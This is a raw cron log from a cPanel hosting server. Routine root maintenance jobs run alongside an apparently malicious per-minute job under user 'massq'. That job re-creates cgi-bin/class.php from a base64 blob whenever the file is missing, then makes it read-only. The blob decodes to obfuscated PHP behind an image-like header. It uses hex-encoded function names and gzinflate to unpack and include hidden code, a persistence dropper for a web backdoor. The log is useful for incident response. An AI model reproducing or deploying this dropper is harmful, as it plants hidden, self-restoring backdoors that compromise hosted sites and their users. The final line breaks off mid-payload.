Sep  7 01:34:01 server CROND[25635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:35:01 server CROND[26012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:35:01 server CROND[26016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:35:01 server CROND[26021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:35:01 server CROND[26019]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 01:35:01 server CROND[26025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:35:01 server CROND[26018]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 01:35:01 server CROND[26022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:35:01 server CROND[26023]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:35:01 server CROND[26027]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:36:01 server CROND[26835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:36:01 server CROND[26834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:36:01 server CROND[26836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:37:01 server CROND[27200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:37:01 server CROND[27201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:37:01 server CROND[27202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:38:01 server CROND[27682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:38:01 server CROND[27683]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:38:01 server CROND[27684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:39:01 server CROND[28055]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 01:39:01 server CROND[28054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:39:01 server CROND[28057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:39:01 server CROND[28056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:40:01 server CROND[28433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:40:01 server CROND[28435]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:40:01 server CROND[28434]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:40:01 server CROND[28439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:40:01 server CROND[28441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:40:01 server CROND[28440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:40:01 server CROND[28437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:40:01 server CROND[28438]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:41:01 server CROND[29276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:41:01 server CROND[29277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:41:01 server CROND[29275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:42:01 server CROND[29644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:42:01 server CROND[29646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:42:01 server CROND[29647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:42:01 server CROND[29645]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 01:43:01 server CROND[30017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:43:01 server CROND[30018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:43:01 server CROND[30019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:44:01 server CROND[30478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:44:01 server CROND[30479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:44:01 server CROND[30480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:45:01 server CROND[30850]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:45:01 server CROND[30852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:45:01 server CROND[30864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:45:01 server CROND[30865]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:45:01 server CROND[30867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:45:01 server CROND[30866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:45:01 server CROND[30868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5